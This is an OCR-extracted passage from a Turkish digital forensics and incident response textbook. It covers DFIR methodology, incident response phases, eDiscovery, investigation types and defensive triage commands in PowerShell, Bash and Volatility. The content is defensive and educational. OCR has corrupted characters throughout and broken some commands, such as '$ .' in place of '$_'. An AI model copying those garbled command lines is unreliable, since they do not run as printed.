Yazarin CalISINALATL.............oooooiiiiiiiiiiiiiiiieiiieeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeseseeeeeeerereseeeeereeereeereees 159
OKUYFUCUYA INOT.....eeeiuiiiieiiiiieeeeiiteeeeitteeeeiuteeeasauseesassseeeasssseesanssssesasssssesenssssesessssseessnssesessnsssssesnssses 160
Sorumluluk Reddi ve Kullanim NOTU .......c..cooiiiiiiiiiiiiiiiiieiiiieiieeeite ettt et esree et e sireesneeesnneens 161




Bu Kitap Nasil Okunmali?

Dijital adli bilisim, yalnizca teknik araglarin 6grenilmesiyle kavranabilecek bir disiplin degil-
dir. Bu alanda basarili olmak, metodoloji, analitik diistinme ve farkli veri kaynaklarini bir
araya getirme becerisi gerektirir.

Bu kitap, dijital adli bilisime giris yapmak isteyenler ile sahada ¢alisan analistlerin metodolo-
jik yaklagimini gelistirmek amaciyla hazirlanmistir. Okuyucunun kitaptan en yiiksek verimi
alabilmesi i¢in boliimlerin belirli bir sirayla incelenmesi onerilir.

Yeni Baslayanlar Icin

Dijital adli bilisim alanina yeni adim atan okuyucularin asagidaki siray1 takip etmesi onerilir:

1. Dijital adli bilisime giris ve temel kavramlar
2. Delil toplama ve volatilite kavrami

3. Sorusturma siirecleri ve metodoloji

4. Temel analiz teknikleri

Bu asamada amag, kullanilan aracglar1 ezberlemek degil; analiz mantigini anlamaktir.

Teknik Analistler i¢in

Adli bilisim veya siber giivenlik alaninda deneyimi olan okuyucular i¢in asagidaki boliimler
ozellikle onemlidir:

o Windows artefact analizi
e Linux sistem incelemesi
o Bellek analizi

o Olay rekonstriiksiyonu

e Log korelasyonu

Bu boliimler, gercek olaylarin nasil analiz edildigini anlamaya yardimci olur.
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Arac¢ Boliimleri Hakkinda

Kitapta yer alan araglar, yalnizca kullanim 6rnekleri ile gdsterilmistir. Bu araglarin amact
okuyucuya komut ezberletmek degil, hangi veri kaynaklarinin analiz edilmesi gerektigini gos-
termektir.

Dijital adli bilisimde 6nemli olan arag degil, analistin veri ile kurdugu iliskidir.

Pratik Yapmanin Onemi

Bu kitap teorik bilgilerin yaninda pratik uygulama diistiniilerek hazirlanmistir. Okuyucularin:
e test veri setleri lizerinde ¢aligmalari
e log dosyalarini incelemeleri
e zaman ¢izelgesi olusturmalari

oOnerilir.

Gergek 6grenme, pratik analiz siirecleri ile gergeklesir.

Analitik Yaklasim

Bu kitabin temel amaci okuyucuya ara¢ 6gretmek degil, analitik diistinme modeli kazandir-
maktir.

Bir dijjital adli analist i¢in en dnemli yetenek:
e dogru sorular1 sorabilmek
o veri kaynaklarini iligkilendirebilmek

o alternatif senaryolar iiretebilmektir.

Bu beceriler, teknik bilginin 6tesinde analitik diistinme gerektirir.
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Bu kitapta kullanilan baz teknik kisaltmalar asagida aciklanmistir.

Kisaltma

Aciklama

DFIR

Digital Forensics and Incident Response

10C

Indicator of Compromise

TTP

Tactics, Techniques and Procedures

RAM

Random Access Memory

EVTX

Windows Event Log dosya formati

IDIN

Domain Name System

C2

Command and Control

EDR

Endpoint Detection and Response

SIEM

Security Information and Event Management

OSINT

Open Source Intelligence

NTFS

New Technology File System

EXT

Extended File System (Linux)

USB

Universal Serial Bus

PCAP

Packet Capture dosyasi

MITRE ATT&CK

Saldir1 tekniklerini siniflandiran ¢ergeve
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Ag Baglantilarin1 Kontrol Etme

PowerShell

Get-NetTCPConnection | Where-Object {$ .State -eq "Established"} | Select-Object LocalAddress,
LocalPort, RemoteAddress, RemotePort, OwningProcess

Sistemde "Kurulmus" (Established) olan tiim TCP baglantilarini listeler. Disaridaki bir C2
(Komuta Kontrol) sunucusuna veri sizdirilip sizdirilmadigini anlamak i¢in kritik bir komuttur.

Stipheli Siirecleri ve Dosya Yollarini Bulma

Get-Process | Select-Object Id, ProcessName, Path, Company | Where-Object {$ .Path -notlike
"C:\Windows\*"}

Calisan siirecleri listeler ancak Windows'un kendi klasoriinde (C:\Windows\) olmayanlari filt-

reler. Saldirganlar genellikle zararli yazilimlar1 \Temp\ veya \Users\ klasorleri altinda calisti-
rir.

Linux Adli Bilisim (Bash)

Linux sistemlerde log dosyalar1 ve kullanici aktiviteleri birincil kanit kaynagidir.
last -adx

Sisteme en son giris yapan kullanicilari, giris yaptiklar1 IP adreslerini ve oturum siirelerini gosterir. -x paramet-
resi sistem kapanig/agilis bilgilerini de ekler.

Gizli Dosyalar1 ve izinleri Kontrol Etme
find /home -name ".*" -Is

Kullanici dizinlerindeki gizli dosyalar1 (nokta ile baslayan) listeler. Saldirganlar genellikle betiklerini .hid-
den_script gibi isimlerle saklar.

Log Analizi (Kullanic1 Hareketleri)
SSH Basarisiz Giris Denemelerini Sayma
grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr

SSH iizerinden yapilan basarisiz giris denemelerini bulur, IP adreslerini ayiklar ve hangi IP'den kag kez deneme
yapildigimi biiyiikten kiigiige siralar. Bu bir Brute Force (Kaba Kuvvet) saldirisinin kanitidir.

Bellek (Memory) Analizi (Volatility 3)
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RAM Igindeki Ag Baglantilarini Gérme
python3 vol.py -f memdump.raw windows.netscan

Alinan bir bellek dokiimii (memdump.raw) i¢indeki aktif ag baglantilarini gosterir. Kapanmis olan baglantilarin
izlerini bile RAM'den ¢ikarabilir.

DFIR Siirecinde Temel Mantik Tablosu

Asama Odak Noktasi Temel Arac
Identification  Olagandis trafik veya uyarilar SIEM, EDR
Containment Saldirganin yayilmasimi durdurma  Firewall, Izole VLAN
Eradication Tehdidi sistemden silme Antiviris, Format, Yama

Recovery Sistemi giivenli hale dondiirme Backup (Yedekler)

Komut ve Sembol Aciklamalar

Adli bilisimde binlerce satir log arasinda kaybolmamak i¢in bu sembolleri bilmek sarttir:

PowerShell’de Temel Pipeline

| (Pipe/Boru): Soldaki komutun ¢iktisini, sagdaki komuta girdi olarak gonderir.

e Ornek: cat access.log | grep "404" (Dosyay1 oku, sadece 404 hatalarim goster).

e > (Yonlendirme): Komutun ¢iktisini bir dosyaya yazar (dosya varsa {istiine yazar).
Delil toplarken ¢ok kritiktir.

e >>(Ekleme): Ciktiy1 mevcut dosyanin sonuna ekler.

e 2> (Hata Yonlendirme): Sadece hata mesajlarini bir dosyaya kaydeder.

PowerShell (Windows) Sembol ve Operatorleri

Modern Windows adli bilisiminde PowerShell vazgecilmezdir.
e $_: Boru hattindaki (pipeline) mevcut nesneyi temsil eder.
e 2 (Where-Object): Veriyi belirli bir kritere gore filtreler.
e % (ForEach-Object): Listedeki her bir 6ge i¢in islem yapar.

Zaman Damgas1 (Timestamp) Kisaltmalari
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Sembol Anlami Aciklama

Y| Modified Dosya igeriginin en son degistirildigi zaman.

A Accessed Dosyaya en son erisildigi (okundugu) zaman.

C Changed (MFT) || Dosya meta verilerinin (izinler vb.) degistigi zaman.
B/B Birth / Created Dosyanin sistemde ilk olusturuldugu zaman.

Not: Bu yapiya genellikle MACB zaman damgalar1 denir. Saldirganlar "Timestomping" ya-
parak bu verileri manipiile etmeye calisabilir.

Diizenli ifadeler (Regex) Sembolleri

Log analizi yaparken IP adreslerini veya e-postalar1 ayiklamak i¢in kullanilir:
e 7 Satirin baglangici.
e $: Satirin sonu.

o *: Herhangi bir karakterden ( . ) herhangi bir sayida ( * ) olmasu.
e [0-9]{1,3}: 1 ile 3 basamak arasi rakam (IP adresi tespiti i¢in kullanilir).

Adli Ornek:
Get-Service | Where-Object {$ .Status -eq "Running"}
Anlami: Tiim servisleri al, sadece durumu "Calisiyor" olanlari siiz.
Linux / Unix Adli Bilisim Komutlari
Linux tabanl analizlerde (SANS SIFT veya Kali gibi) en sik karsimiza ¢ikan yapilar:
grep (Arama Motoru)
Sistem loglarinda siipheli anahtar kelimeleri (IP, kullanic1 ad1, zararli ismi) bulur.
o -i: Blytik/kiigiik harf duyarliligini kaldirir.
o -v: Tersine arama yapar (belirtilen kelimeyi icermeyenleri getirir).
e -r: Tliim alt klasorlerde arama yapar.
find (Dosya Analizi)

Saldirganin olusturdugu gizli veya yeni dosyalar1 bulmak i¢in kullanilir.

e -mtime -1: Son 24 saat i¢inde degistirilen dosyalar1 bulur.
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e -perm -4000: SUID bitine sahip (ytiksek yetkili) dosyalar1 bulur.

Bu kitapta yer alan komut 6rnekleri ve semboller asagidaki anlamlarda kullanilmistir.
Komut Satir1 Ornekleri
vol -f memory.raw windows.pslist

Bu tip bloklar terminal veya komut satirinda ¢alistirilmasi gereken 6rnek komutlar1 goster-
mektedir.

Koseli Parantez [ |

Koseli parantezler istege bagli parametreleri ifade eder.

Ornek:

command [optional parameter]

Agcili Parantez < >

Bu isaretler kullanici tarafindan degistirilecek alanlar1 gosterir.
Ornek:

icat image.dd <inode>

Burada <inode> degeri gergek inode numarasi ile degistirilmelidir.

Dizin Yollar:
Dosya yollari sistem tiiriine gore degisebilir.

Ornek:
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C:\Windows\System32
veya

/var/log/auth.log

Yorum Satirlar:
Bazi1 komut 6rneklerinde agiklama satirlar1 bulunabilir.

# list running processes
vol -f memory.raw windows.pslist

# ile baslayan satirlar agiklama amaghdir.

Kitap Yapis1 (Okuyucu I¢in Hatirlatma)

Bu kitapta yer alan teknik ornekler, okuyucularin analiz mantigin1 anlamasini kolaylastirmak
amaciyla hazirlanmigtir. Komutlar ve araglar yalnizca 6rnek olarak verilmistir; ger¢ek incele-
melerde kullanilan yontemler olayin baglamina gore degisebilir.

Boliimlerden neler 6grenilmeli?

Boliim 1 — Dijital Adli Bilisime Giris

e Dijital adli bilisim bir ara¢ degil metodoloji disiplinidir
e Delil biitiinliigii en kritik ilkedir

e Analiz siireci bilimsel ve tekrarlanabilir olmalidir

o DFIR, olay miidahalesi ve eDiscovery farkli disiplinlerdir
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Boliim 2 — Delil Kaynaklan ve Volatilite

e Volatil veri kalict veriden 6nce toplanmalidir
e RAM, ag baglantilar1 ve siire¢ bilgileri hizla kaybolabilir
e Yanlis toplama siras1 kanit kaybina neden olabilir

Boliim 3 — Sorusturma Siireci

e Delil toplama, analiz ve raporlama ayr1 asamalardir
e Zincirleme muhafaza (chain of custody) korunmalidir
e Her adim dokiimante edilmelidir

Boliim 4 — Windows Artefact Analizi

o Prefetch, Amcache ve Event Log 6nemli davranis kayitlaridir
o Tek artefact yeterli degildir; korelasyon gereklidir
e Zaman ¢izelgesi olay rekonstriiksiyonu i¢in kritik rol oynar

Boliim 5 — Linux Sistem Analizi

o SSH loglar saldir1 girisimlerini gosterir
o Bash history ve cron gorevleri kalicilik gdstergesi olabilir
e Log korelasyonu sistem davranisini ortaya ¢ikarir

Boliim 6 — Bellek Analizi

o Fileless saldirilar yalmizca RAM’de iz birakabilir
o Siirec agaci analizi saldir1 davranisini ortaya ¢ikarir
o Bellek analizi olayin canli durumunu gosterir
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Boliim 7 — Ag Analizi

o DNS trafigi saldir1 altyapisin1 gosterebilir
o Paket analizi C2 iletisimini ortaya ¢ikarabilir
e Ag verisi saldiriin dis baglantilarini anlamay1 saglar

Boliim 8 — Olay Rekonstriiksiyonu

e Zaman ¢izelgesi olayin kronolojisini olugturur
o Farkli veri kaynaklari birlikte analiz edilmelidir
e Davranis modeli olusturmak analizin temelidir

Bolim 9 — Ara¢ Ekosistemi

e Araglar veri iiretir, yorum analiste aittir
e Yanlis arag se¢imi analiz hatasina neden olabilir
e Modern DFIR araglar korelasyonu hizlandirir

Boliim 10 — Analistin Diisiinme Modeli

e Analiz hipotez kurma ve test etme siirecidir
e Onyargi analiz kalitesini diisiiriir

Ek Bolim — Okuma ve Pratik Yol Haritasi

1-Temel Kavramlar1 Ogren
Once su konular anlagilmalidir:

Dosya sistemleri (NTFS, EXT)
Isletim sistemi mimarisi

Ag protokolleri

Log yapilar

2-Temel Araglar1 Ogren

Baslangig icin Onerilen araglar:
19




Autopsy
FTK Imager
Wireshark
Volatility

Amag arag ezberlemek degil, veri tiirlerini anlamaktir.

3-Artefact Analizi Pratigi Yap

Su veri kaynaklarini incelemek faydalidir:

Windows Event Log
Prefetch dosyalari
Browser artefact’lar1
Bash history

4- Timeline Analizi Ogren

Bircok olay su sekilde ¢oziiliir:

Not: Bu siirecte en sik yapilan hata, zaman ¢izelgesindeki saat dilimi (UTC/GMT) farkliliklarini gézden kagir-
maktir. Bir kanitin 3 saat farkla hatali yorumlanmasi, tiim rekonstriiksiyonu ¢okertebilir.

Artefact toplama

!

Zaman cizelgesi olusturma

!

Davrams modeli ¢ikarma

!

Olay rekonstriiksiyonu

5- Gergek Senaryolar Calis

Pratik i¢in:
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o DFIR egitim datasetleri
e CTF laboratuvarlari
e Olay miidahale senaryolar1

6- Siirekli Ogrenme

Dijital adli bilisim siirekli gelisen bir alandir.
Analistlerin yeni teknikleri takip etmesi gerekir.

BOLUM 1 — Dijital Adli Bilisimin Temeli
1.1 Dijital Adli Bilisim Nedir?

Dijital adli bilisim; dijital ortamlarda bulunan verilerin hukuken kabul edilebilir, bilimsel ola-
rak dogrulanabilir ve tekrarlanabilir yontemlerle tanimlanmasi, korunmasi, analiz edilmesi ve
raporlanmasi stirecidir.

Bu disiplin yalnizca veri kurtarma veya teknik inceleme faaliyeti degildir. Asil amaci, dijital
izleri baglam icerisinde degerlendirerek bir olayin teknik gercekligini ortaya koymaktir. Bir
baska ifadeyle dijital adli bilisim, izleri toplamakla degil, o izlerden anlam {iretmekle ilgilenir.

Bir sorusturma kapsaminda elektronik cihazlardan, ag kayitlarindan, bulut ortamlarindan veya
bellek dokiimlerinden elde edilen veriler; uygun metodoloji uygulanmadig: takdirde hukuki
degerini kaybedebilir. Bu nedenle dijital adli bilisim stireci, teknik dogruluk kadar usule uy-
gunlugu da esas alir.

1.2 Dijital Adli Bilisimin Temel Ilkeleri

Dijital adli bilisim faaliyetleri asagidaki temel ilkeler iizerine kuruludur:

« Bilimsel Metodoloji: inceleme siireci sistematik, dl¢iilebilir ve dogrulanabilir olmali-
dir.

e Hukuki Savunulabilirlik: Kullanilan yontemler, mahkemede agiklanabilir ve savunu-
labilir nitelikte olmalidir.
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o Tekrarlanabilirlik: Ayni delil lizerinde ayn1 yontemler uygulandiginda benzer sonug-
lara ulasilabilmelidir.

« Delil Biitiinliigii: Inceleme siiresince delil degistirilmemeli, biitiinliigii kriptografik
hash degerleri ile dogrulanmalidir.

e Tarafsizhk: Analist, bulgular iizerinden yorum tiretmeli; varsayimlarla sonug iiretme-
melidir.

Dijital adli bilisim siireci, rastgele ilerleyen teknik bir inceleme degildir.
Sistematik ve birbirini besleyen agamalardan olusan bir yasam dongiisiidiir.
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Analiz

Artefact inceleme ve korelasyon

Dokumasntasyon

Adim adim kayit ve raporlama

Teknik ve hukuki paydaslara aktarm

Kimliklendirme
Potansiyel kanit kaynaklarinin
belirlenmesi

Delil bUtuNIOgUNUN saglanmasi, hash
hesaplama

Edinme
Adli kopya olusturma

[Her asamada delil butinligU dogrulanir (Hash Kontrol() ]
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2. DFIR, Olay Miidahalesi ve Elektronik Kesif Arasindaki Farklar

Dijital adli bilisim siklikla olay miidahalesi (Incident Response) ve elektronik kesif (eDisco-
very) kavramlari ile karistirilir. Bu disiplinler birbiriyle ortiisse de amag ve kapsam agisindan
farklilik gosterir.

| Disiplin [ Odak [ Amag |
‘ DFIR H Tam yasam dongiisii H Olayin teknik gercekligini ortaya koymak ‘
‘ Olay Miidahalesi H Aktif tehdit yonetimi H Hasar1 durdurmak ‘
‘ eDiscovery H Hukuki veri toplama H Dava siireglerine destek ‘

Olay Miidahalesi (Incident Response - IR)

Temel Amag¢: Yangini sondiirmek ve hasar1 sinirlamak. Bir siber saldir1 veya veri ihlali ger-
ceklestiginde devreye giren "acil yardim" ekibidir. Odak noktasi derinlemesine analizden zi-
yade, tehdidi durdurmak ve sistemi ayaga kaldirmaktir.

» Hiz: Cok kritik (Dakikalar veya saatler).
o« Oncelik: Is siirekliligi ve tehdidin yok edilmesi.

Dijital Adli Tip (Digital Forensics - DF)

Temel Amag: "Ne oldu?" sorusuna mahkemede kabul edilebilir kanitlarla cevap vermek. IR
ile i¢ ige gecerek DFIR (Digital Forensics & Incident Response) biitliniinii olusturur. DF
kismz, olayin bilimsel yontemlerle (yazma korumali imajlar, hash degerleri) incelenmesini
saglar.

» Hiz: Titiz ve yavas (Glinler veya haftalar).
e Oncelik: Kanit biitiinliigli ve zinciri (Chain of Custody).

Elektronik Kesif (e-Discovery)

Temel Amag: Hukuki bir dava siirecinde ilgili dijital belgeleri bulmak ve sunmak. Bir siber
saldir1 olmas1 gerekmez. Ornegin bir bosanma davasi, patent ihlali veya yolsuzluk sorustur-

masinda, taraflarin birbirlerinden talep ettigi e-postalar, dokiimanlar ve mesajlarin taranmasi-
dir.

e Hiz: Mahkeme takvimine bagl.
e Oncelik: Veri ayiklama (Ilgili/ilgisiz ayrim1) ve yasal uygunluk.

24




Ozellik

Tetikleyici

Odak

Kapsam

Yasal Boyut

Olay Miidaha-
lesi (IR)

Aktif bir sal-
dirr/alarm.

Tehdidi dur-
durma (Contain-
ment).

RAM, ag trafigi,
loglar.

Operasyonel 6n-
celik.

Dijital Adli Tip
(DF)

Sug siiphesi veya ih-
lal sonrasi.

"Kim, nasil, ne za-
9 b
man" (Analysis).

Tiim disk imaj, si-
linmis veriler.

Adli gecerlilik sart.

Elektronik Kesif (e-Dis-
covery)

Dava siireci veya yasal

1%:1(50

Belgeleri bulma ve
sunma (Production).

E-postalar, Word/PDF,
arsivler.

Yasal zorunluluk ve giz-

lilik.

Ozetle: Bir hacker sisteminize girdiginde IR ile onu disar1 atarsiniz, DF ile ne ¢aldigini ve
nasil girdigini kanitlarsiniz; eger bu durum bir tazminat davasina dontisiirse, karsi tarafa suna-
caginiz e-postalari e-Discovery yontemleriyle hazirlarsiniz.

2.1 DFIR (Digital Forensics & Incident Response)

DFIR Sitire¢ Dongtisti

DFIR operasyonlar1 genellikle NIST veya SANS tarafindan belirlenen standart bir metodolo-

jiyi izler:

1. Hazirhk (Preparation): Olay yasanmadan dnce araglarin, ekiplerin ve yetkilerin ha-

zir olmast. (Loglarin merkezi bir yerde toplanmasi gibi).

2. Tespit ve Analiz (Detection & Analysis): Anomaliyi fark etmek ve bunun gergek bir

tehdit olup olmadigini anlamak.

3. Kapsama, Temizleme ve Kurtarma (Containment, Eradication & Recovery): Sal-
dirganin hareket alaninm kisitlamak, zararliy1 sistemden kazimak ve sistemleri giivenli
bir sekilde geri agmak.

4. Olay Sonrasi Etkinlik (Post-Incident Activity): "Ders ¢ikarma" asamasi. Hangi agik

kullanild1? Siirecte ne yanlis gitti?

DFIR'da Temel Analiz Alanlar

DFIR uzmanlari, cevabi bulmak i¢in farkli katmanlarda "artefact" (iz) ararlar:

o Hafiza Analizi (Memory Forensics): RAM iizerinde ¢alisan zararh kodlar1, gizli bag-
lantilar1 ve sifrelenmis verileri tespit eder. Diskte iz birakmayan (fileless) saldirilar

i¢in kritiktir.
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o Disk Analizi (Disk Forensics): Silinmis dosyalar, kayit defteri (Registry) girdileri,
tarayici gecmisi ve dosya sistemi metaverilerini inceler.

o Ag Analizi (Network Forensics): PCAP dosyalar1 ve firewall loglari {izerinden veri
sizintisinin (exfiltration) rotasini belirler.

En Cok Kullanilan DFIR Araglar1 (Toolkit)

Bir DFIR uzmaninin ¢antasinda genellikle su araglar bulunur:

Kategori Araglar
Imaj Alma FTK Imager, Guymager
Bellek Analizi Volatility, MemDump

Timeline Olusturma | Plaso (log2timeline), Eric Zimmerman's Tools

Hepsi Bir Arada Autopsy, Magnet AXIOM, X-Ways

Ag Analizi Wireshark, Zeek, Brim

Neden DFIR Kritik Bir Disiplindir?

Sadece "saldirgani disar1 atmak" (IR) yeterli degildir. Eger saldirganin arkada biraktig: bir
Backdoor (arka kap1) bulunamazsa veya hangi yetkileri ele gecirdigi (DF) analiz edilmezse,
saldirgan bir hafta sonra tekrar iceri girecektir. DFIR, saldirinin kok nedenini (Root Cause)
bularak bu dongiiytii kirar.

DFIR, bir giivenlik olaymin yasam dongiisiinii kapsar. Amag;
e Olaym kok nedenini belirlemek
o Saldirinin kapsamini ortaya ¢ikarmak
o Etki alanini analiz etmek

o Teknik bulgular1 raporlamak

DFIR hem miidahale hem de adli analiz bilesenini igerir.
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2.2 Olay Miidahalesi (Incident Response)

Olay miidahalesinin 6nceligi adli derinlik degil, operasyonel istikrardir.
e Tehdidin durdurulmasi

e Hasarin sinirlandirilmasi
e Sistemlerin yeniden devreye alinmasi

Olay Miidahale Yasam Dongiisii (SANS Enstitiisii Modeli)

SANS tarafindan gelistirilen 6 adimli model, diinyada en yaygin kabul géren IR metodolojisi-
dir:

1. Hazirlik (Preparation)
En kritik asamadir. Olay ger¢ceklesmeden once yapilmasi gerekenleri kapsar.
o Ekip: Bir Olay Miidahale Ekibi (CSIRT) kurulmasi.
e Araclar: Analiz araglarinin ve yedekleme sistemlerinin hazir tutulmasi.

e Yetki: Kimin hangi karar1 (6rnegin; sunucuyu kapatma yetkisi) vereceginin netles-
mesi.

2. Tanimlama (Identification)
Gergekten bir "olay" olup olmadiginin saptanmasidir.

e Log analizi, IDS/IPS alarmlar1 ve son kullanici bildirimleri degerlendirilir.
e Olayin kapsami ve ciddiyeti (Kritiklik seviyesi) belirlenir.

3. Kontrol Altina Alma (Containment)
Saldirganin daha fazla zarar vermesini 6nlemek i¢in "¢cemberi daraltma" asamasidir.

o Kisa Vadeli: Etkilenen sistemin agdan izole edilmesi.
e Uzun Vadeli: Gelecekteki saldirilar1 engellemek i¢in gecici yamalar yapilmasi.

4. Temizleme (Eradication)
Tehdidin sistemden tamamen kazinmasidir.
e Zararh yazilimlarin (Malware) silinmesi.

e Saldirganin olusturdugu arka kapilarin (Backdoor) ve sahte hesaplarin kapatilmasi.
o Kullanilan agiklarin (Vulnerability) yamalanmasi.
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5. Kurtarma (Recovery)
Sistemlerin liretim ortamina giivenli bir sekilde geri dondiiriilmesidir.
e Yedeklerden geri donme.

o Sifrelerin degistirilmesi.
e Sistemlerin bir siire "yiiksek hassasiyetli izleme" altinda tutulmas.

6. Alinan Dersler (Lessons Learned)
"Neyi 1yi yaptik, nerede hata yaptik?" sorusunun soruldugu asamadir.
e Olay raporu hazirlanir.
e Gelecekte benzer bir durumun yasanmamasi i¢in giivenlik politikalar1 ve IR plani giin-

cellenir.

Bu siiregte toplanan veriler daha sonra adli analiz siirecine girdi olusturabilir.

Birim Rolii
IT/Giivenlik Teknik analiz, temizleme ve sistem kurtarma.
Hukuk Veri ihlali bildirimleri ve yasal uyumluluk stirecleri.

Halkla Iliskiler | Miisterilere ve medyaya yapilacak agiklamalarin ydnetimi.

Yonetim Kritik kararlarin (Sistemi durdurma vb.) onaylanmasi ve biitge.

IR ve Adli Tip (Forensics) Arasindaki Kritik Denge

Olay miidahalesi sirasinda bazen Hiz ile Kamit Koruma catisir. Ornegin; bir sunucuyu he-
men kapatmak saldirty1r durdurur (IR hedefi), ancak RAM {izerindeki ugucu kanitlar1 yok eder
(Forensics kaybi). Profesyonel bir IR siireci, bu dengeyi bozmadan "canli analiz" yontemlerini
kullanarak ilerler.
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2.3 Elektronik Kesif (eDiscovery)

Elektronik kesif, hukuki siire¢lerde kullanilmak {izere elektronik olarak saklanan bilgilerin
(ESI) toplanmasini ve siniflandirilmasini kapsar.

e E-posta arsivleri
o Kurumsal belgeler
e Dijital iletisim kayitlari

eDiscovery teknik olarak adli yontemlerden yararlanabilir; ancak amaci olay rekonstriiksi-
yonu degil, belge tiretimidir.

e-Discovery Kapsamina Giren Veriler (ESI)
Sadece dosyalar degil, dijital iz birakan her sey e-Discovery'nin pargasi olabilir:
o [lletisim: E-postalar, WhatsApp/Slack mesajlari, sesli mesaj kayitlari.
o Dokiimanlar: Excel tablolari, CAD ¢izimleri, sunumlar.
e Sosyal Medya: Facebook gonderileri, LinkedIn mesaj trafigi.
e Metaveri (Metadata): Bir belgenin kim tarafindan, ne zaman olusturuldugu veya iize-
rinde yapilan gizli degisiklikler.
Kritik Kavramlar: Culling ve TAR

e-Discovery'de maliyeti diisiiren ve hiz1 artiran iki ana yontem vardir:

 Culling (Ayiklama): Ilgisiz verileri heniiz analiz asamasina gelmeden eleme islemi-
dir.

Ornek: "2020 yilindan dnceki tiim e-postalar1 ele" veya "Sadece 'ihale’ kelimesini ice-
ren leri tut."

e TAR (Technology Assisted Review): Yapay zeka ve makine 6grenmesi kullanarak,
sistemin hangi belgelerin "alakali" oldugunu avukatlarin isaretlemelerinden 6grenmesi
ve geri kalan milyonlarca belgeyi otomatik siniflandirmasidir.

Ozellik e-Discovery Digital Forensics
Ana - .
Kanit belgelerini bulmak. Olayin nasil oldugunu kanitlamak.
Hedef
Veri Genelde okunabilir dokiiman-

Tiirii lar. Ham disk verisi, kayit defteri, loglar.

Siber giivenlik uzmanlari, kolluk kuv-

Kullanici Avukatlar, hukuk ekipleri. .
vetleri.
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3. Dijital Sorusturma Tiirleri

3.1. Ceza Sorusturmalari

o Kolluk kuvvetleri tarafindan yiiritiiliir
e Zincirleme delil takibi (Chain of Custody) zorunludur
o Mahkemede kabul edilebilirlik kriterleri ytiksektir

Ornekler:

Siber suglar
Dolandiricilik
Yetkisiz erisim
Cocuk istismari
Finansal suglar

3.2. Kurumsal Sorusturmalar

Politika ihlalleri

Iceriden tehdit vakalari
Fikri miilkiyet hirsizlig
Veri ihlali incelemeleri

Bu sorusturmalarda hiz ve is stirekliligi nemli faktordiir.

3.3. Sivil Sorusturmalar

So6zlesme ihtilaflar

Dijital delil iceren dava stiregleri
Sigorta dolandiriciligi

Mevzuat uyumlulugu denetimleri

1. Adli Sorusturmalar (Criminal Investigations)

Devlet birimleri ve kolluk kuvvetleri tarafindan yiiriitiilen, ceza kanununa giren suglarin (siber
saldirilar, cocuk istismari, dolandiricilik, teror vb.) aydinlatilmasidir.

e Kiritik Unsur: Kanit zinciri (Chain of Custody) bozulmamalidir. Mahkemede redde-

dilmeyecek kesinlikte raporlanmalidir.
e Hedef: Suglunun tespiti ve cezalandirilmasi.

2. Kurumsal/idari Sorusturmalar (Internal/Corporate Investigations)
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Bir sirketin kendi i¢inde yiiriittiigii, genellikle disiplin suglari veya sirket politikasi ihlalleriyle
ilgili stireglerdir.

e Kapsam: Veri hirsizlig1 (Fikri miilkiyet s1izintis1), cinsel taciz iddialar veya ise gel-

meme durumlari.
o Hedef: Sirket i¢i disiplin siireci veya isten ¢ikarma i¢in kanit toplama.

3. Sivil Sorusturmalar (Civil Investigations)

Iki taraf arasindaki hukuki anlasmazliklar1 (bosanma, tazminat, telif hakki davalar) kapsar.
Genellikle e-Discovery siiregleriyle i¢ igedir.

o Kritik Unsur: Genelde "verilerin paylagilmasi" ve "seffaflik" 6n plandadir.
e Hedef: Hakliligin ispati ve maddi/manevi tazminat.

Dijital adli bilisim farkli hukuki ve kurumsal baglamlarda uygulanabilir.
Teknik Kapsamina Gore Sorusturma Tiirleri

Incelemenin yapildig: "alan" sorusturmanin teknik seyrini belirler:

Tiir Odak Noktasi Ana Araclar
Bllglszr});;r <l Hard diskler, SSD'ler, USB bellekler. Autopsy, EnCase, FTK
Mobil Adli Tip Akilli telefonlar, tabletler, GPS cihaz- Cellebrite, GrayKey,

lar. Oxygen
< . Firewall loglari, PCAP dosyalari, .
Ag Adli Tip canl: trafik. Wireshark, Splunk, Zeek
Bulut Adli Tip A, A, (oo 6 1Dhvs, Sres CloudSleuth, AWS CLI
loglari.
Bellek Analizi RAM iizerindeki aktif islemler ve sif- Volatility, Rekall

reler.
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4. Istihbarat Odakli Sorusturmalar (Threat Intelligence)

Genellikle bir saldir1 ger¢eklesmeden once veya bir APT (Gelismis Siirekli Tehdit) grubunun
yontemlerini anlamak i¢in yapilir.

e Yontem: Karanlik ag (Dark Web) takibi, botnet analizi ve saldirganlarin davranis mo-
dellerinin (TTPs) ¢ikarilmasi.

Bir Sorusturmanin "Gidisatin1" Belirleyen 3 Soru:

1. Kamt nerede duruyor? (Fiziksel mi, Bulutta m1?)
2. Veri ne kadar "ucucu"? (RAM gibi saniyeler i¢inde silinecek mi, yoksa diskte mi?)
3. Yasal yetki var m1? (Arama karari, sirket politikasi onay1 veya kullanici rizasi.)

Kritik Not: Ozellikle Tiirkiye'de KVKK (Kisisel Verilerin Korunmasi Kanunu), kurumsal
sorusturmalarda ¢ok hassas bir dengedir. Bir ¢aligsanin bilgisayarini incelerken "6zel hayatin
gizliligi" ile "sirket verisinin korunmasi" arasindaki yasal sinir1 agmamak gerekir.

4. Adli Sorusturmacinin Rolii

Dijital adli analist yalnizca teknik uzman degildir; ayn1 zamanda siire¢ yoneticisi ve raporlay1-
cidr.

4.1. Temel Sorumluluklar

e Delilleri giivenli sekilde muhafaza etmek

e Zincirleme delil takibini saglamak

e Analizi bilimsel yontemlerle yiiriitmek

o Bulgular eksiksiz belgelemek

o Teknik ve teknik olmayan paydaslara acik rapor sunmak
e Gerektiginde uzman taniklig1 yapmak

4.2. Temel Yetkinlikler

o Isletim sistemleri ve dosya sistemleri bilgisi

e Ag protokol analizi

o Kotii amacgh yazilim temel bilgisi

o Kiriptografik hash ve veri biitiinliigli kavramlari
e Giiglii dokiimantasyon becerisi

e Hukuki ¢ergeve bilgisi

32




1. Kanitlarin Giivence Altina Alinmasi (Seizure & Preservation)
Sorusturmacinin ilk ve en kritik gérevi, dijital delillerin orijinalligini korumaktir.

e Write-Blocker Kullammmi: Veri ¢ekilirken diske tek bir bit dahi yazilmadigindan
emin olmak.

e Hash Degerleme: Verinin kopyasinin alindig1 andaki parmak izini ($SHA-256$ veya
$MD5$) hesaplamak.

e Kamt Zinciri (Chain of Custody): Delilin kimden alindigini, nerede saklandigini ve
kimlerin eristigini dakika dakika belgelemek.

2. Teknik Analiz ve Veri Kurtarma

